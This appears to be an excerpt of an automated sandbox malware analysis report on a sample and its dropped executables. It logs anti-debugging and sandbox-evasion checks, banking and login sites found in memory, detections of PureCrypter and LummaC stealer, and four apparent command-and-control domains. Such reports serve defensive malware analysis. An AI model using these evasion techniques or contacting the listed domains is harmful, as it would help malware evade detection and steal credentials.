Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe TID: 7968	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe TID: 6104	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe TID: 9144	Thread sleep time: -168000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe TID: 4884	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe TID: 8768	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe TID: 5276	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsECBGHCGCBK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAEC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CAEC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: ECGDBAEH.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: ECGDBAEH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2492153777.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2973952651.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ECGDBAEH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware6\
Source: ECGDBAEH.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: ECGDBAEH.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: ECGDBAEH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 28d9ab8742.exe, 0000001A.00000003.2848650807.00000000056FF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2847920085.00000000056FF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2850165340.00000000056FF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2851996053.00000000056FF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2862304891.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2862673692.00000000056F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lqeMuUnwoUAFmVCh
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: ECGDBAEH.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: ECGDBAEH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: ECGDBAEH.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: ECGDBAEH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2492153777.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarel~
Source: ECGDBAEH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: ECGDBAEH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 28d9ab8742.exe, 0000001F.00000003.2979008171.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996362246.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2983449791.0000000005EA7000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996673547.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979546877.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTY?
Source: ECGDBAEH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: 3daf81f16e.exe, 00000021.00000002.3090234093.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareI
Source: file.exe, file.exe, 00000000.00000002.2489783682.000000000057B000.00000040.00000001.01000000.00000003.sdmp, DocumentsECBGHCGCBK.exe, DocumentsECBGHCGCBK.exe, 00000016.00000002.2530668954.0000000000645000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 00000017.00000002.2555184908.0000000000225000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000018.00000001.2704020694.0000000000225000.00000080.00000001.01000000.0000000D.sdmp, 28d9ab8742.exe, 0000001A.00000002.3027876298.0000000000F4F000.00000040.00000001.01000000.0000000E.sdmp, 28d9ab8742.exe, 0000001A.00000002.3032195949.00000000061DB000.00000040.00000800.00020000.00000000.sdmp, 3daf81f16e.exe, 0000001B.00000002.2881962728.0000000000CEB000.00000040.00000001.01000000.0000000F.sdmp, 28d9ab8742.exe, 0000001F.00000002.3049776651.0000000000F4F000.00000040.00000001.01000000.0000000E.sdmp, be33d1b9ea.exe, 00000020.00000002.3065236093.000000000112F000.00000040.00000001.01000000.00000010.sdmp, 3daf81f16e.exe, 00000021.00000002.3089225827.0000000000CEB000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ECGDBAEH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: ECGDBAEH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: ECGDBAEH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 28d9ab8742.exe, 0000001F.00000002.3051578916.000000000178B000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 00000024.00000002.3289871087.0000000001578000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: DocumentsECBGHCGCBK.exe, 00000016.00000003.2492465000.0000000001202000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ECGDBAEH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn$
Source: 3daf81f16e.exe, 0000001B.00000002.2882880413.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaret]-
Source: ECGDBAEH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 28d9ab8742.exe, 0000001A.00000003.2852160535.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2878148913.0000000000CDC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875540719.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2862807328.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hPMMXdHgFSepDMR/hQcK8SWb
Source: ECGDBAEH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhM
Source: ECGDBAEH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000002.2518810297.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}4M1
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000CE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware7$
Source: ECGDBAEH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: ECGDBAEH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: ECGDBAEH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: ECGDBAEH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: ECGDBAEH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: ECGDBAEH.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: ECGDBAEH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: ECGDBAEH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: ECGDBAEH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2489783682.000000000057B000.00000040.00000001.01000000.00000003.sdmp, DocumentsECBGHCGCBK.exe, 00000016.00000002.2530668954.0000000000645000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2555184908.0000000000225000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000018.00000001.2704020694.0000000000225000.00000080.00000001.01000000.0000000D.sdmp, 28d9ab8742.exe, 0000001A.00000002.3027876298.0000000000F4F000.00000040.00000001.01000000.0000000E.sdmp, 28d9ab8742.exe, 0000001A.00000002.3032195949.00000000061DB000.00000040.00000800.00020000.00000000.sdmp, 3daf81f16e.exe, 0000001B.00000002.2881962728.0000000000CEB000.00000040.00000001.01000000.0000000F.sdmp, 28d9ab8742.exe, 0000001F.00000002.3049776651.0000000000F4F000.00000040.00000001.01000000.0000000E.sdmp, be33d1b9ea.exe, 00000020.00000002.3065236093.000000000112F000.00000040.00000001.01000000.00000010.sdmp, 3daf81f16e.exe, 00000021.00000002.3089225827.0000000000CEB000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: ECGDBAEH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: ECGDBAEH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsECBGHCGCBK.exe

Code function: 22_2_04FA0CDD rdtsc

22_2_04FA0CDD

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB35FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB35FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CAD3480

Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_0049652B mov eax, dword ptr fs:[00000030h]	22_2_0049652B
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_0049A302 mov eax, dword ptr fs:[00000030h]	22_2_0049A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0007A302 mov eax, dword ptr fs:[00000030h]	23_2_0007A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0007652B mov eax, dword ptr fs:[00000030h]	23_2_0007652B

Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CB0B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB0B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CCBAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 4068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3daf81f16e.exe PID: 2724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3daf81f16e.exe PID: 9140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3daf81f16e.exe PID: 6076, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 28d9ab8742.exe, 0000001A.00000003.2849723649.00000000056EB000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1222396-1-3,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1085156-1-3,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-63,eej45377:646690,v1_disable_abandoned_cart:506070,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,domexpansion_v1:408272,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"130.0.0.0"}]},"EdgeShoppingDisableAbandonedCart":{"disableFeatures":["msEdgeShoppingPwiloNotificationsAbandonedCarts"]},"EdgeShoppingDomMutationExpansion":{"enableFeatures":["msShoppingExp67"]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]

LummaC encrypted strings found

Source: 28d9ab8742.exe, 0000001A.00000002.3027529258.0000000000D61000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: scriptyprefej.store
Source: 28d9ab8742.exe, 0000001A.00000002.3027529258.0000000000D61000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: navygenerayk.store
Source: 28d9ab8742.exe, 0000001A.00000002.3027529258.0000000000D61000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: founpiuer.store
Source: 28d9ab8742.exe, 0000001A.00000002.3027529258.0000000000D61000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: necklacedmny.store
